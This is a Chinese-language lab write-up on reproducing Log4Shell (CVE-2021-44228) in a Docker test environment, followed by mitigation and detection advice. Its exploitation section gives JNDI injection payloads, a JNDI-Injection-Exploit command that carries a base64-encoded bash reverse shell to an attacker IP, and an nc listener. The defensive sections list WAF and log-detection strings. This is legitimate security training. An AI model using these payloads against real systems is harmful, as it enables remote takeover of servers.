Log4j2远程代码执行漏洞(cve-2021-44228)复现笔记内容
字数 1584 2025-08-11 08:35:36
Apache Log4j2 远程代码执行漏洞(CVE-2021-44228)复现与防御指南
漏洞概述
Apache Log4j2 是一个广泛使用的Java日志记录工具,其2.x <= 2.14.1版本存在严重的JNDI注入漏洞(CVE-2021-44228),CVSS评分为10分(最高危险等级)。攻击者可通过构造特殊日志消息触发远程代码执行。
漏洞原理
JNDI基础
JNDI(Java Naming and Directory Interface)是Java提供的标准命名和目录服务接口,支持通过统一API访问多种服务如:
- RMI (远程方法调用)
- LDAP (轻量级目录访问协议)
- DNS (域名服务)
- 文件系统等
攻击者利用lookup()方法解析恶意构造的URL,如:${jndi:rmi://attacker-ip:1099/malicious}
攻击流程
- 应用程序使用Log4j2记录用户输入
- 输入中包含恶意JNDI查找字符串,如
${jndi:ldap://attacker-ip/exp} - Log4j2解析并执行JNDI查找
- 从攻击者控制的LDAP/RMI服务器下载恶意.class文件
- 目标服务器执行恶意代码,完成攻击
受影响版本
Apache Log4j 2.x <= 2.14.1
环境搭建
使用Vulhub搭建靶场
- 下载Vulhub:
https://vulhub.org/#/docs/ - 使用Docker搭建环境:
docker pull vulfocus/log4j2-rce-2021-12-09:latest
docker run -d -p 80:8080 vulfocus/log4j2-rce-2021-12-09:latest
漏洞验证
使用DNSLog验证
- 获取DNSLog域名(如:
nlhkzw.dnslog.cn) - 构造Payload:
${jndi:ldap://nlhkzw.dnslog.cn} - 通过BurpSuite发送URL编码后的请求
- 在DNSLog平台检查是否有解析记录
漏洞利用
使用JNDI-Injection-Exploit工具
- 下载工具:
https://github.com/bkfish/Apache-Log4j-Learning - 启动攻击服务:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "命令" -A "攻击机IP"
反弹Shell利用
- 准备Base64编码的反弹Shell命令:
bash -i >& /dev/tcp/攻击机IP/端口 0>&1
编码后示例:
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwOS4xMjgvNDQ0NCAwPiYx
- 启动JNDI服务:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwOS4xMjgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.109.128
- 在攻击机监听端口:
nc -lvnp 4444
- 通过BurpSuite发送恶意Payload(需URL编码)
常见问题排查
-
环境搭建问题:
- 检查Docker服务是否正常运行
- 确保端口未被占用
- 验证镜像是否成功下载
-
DNSLog问题:
- 尝试不同DNSLog平台
- 检查网络连接是否正常
- 确认Payload是否正确编码
-
BurpSuite问题:
- 确保代理设置正确
- 检查拦截功能是否开启
- 验证请求是否成功发送
防御措施
临时缓解方案
- 设置JVM参数:
-Dlog4j2.formatMsgNoLookups=true
- 设置Log4j2配置:
log4j2.formatMsgNoLookups=True
- WAF防护:
- 拦截包含
${jndi:的请求
- 拦截包含
- 网络限制:
- 禁止系统主动外连网络(DNS/TCP/IP/ICMP)
根本解决方案
升级到安全版本:log4j-2.15.0-rc2或更高版本
检测方法
- 日志分析:
- 检查日志中是否包含"jndi:ldap://"、"jndi:rmi"等特征字符串
- 版本检查:
- 检查pom.xml中的Log4j2版本
- 安全产品:
- 使用专业漏洞扫描工具检测
参考资源
- CNNVD漏洞详情:http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202112-799
- NVD漏洞详情:https://nvd.nist.gov/vuln/search/results?form_type=Basic&results_type=overview&query=CVE-2021-44228
- 技术分析文章:https://blog.csdn.net/weixin_46198176/article/details/124917641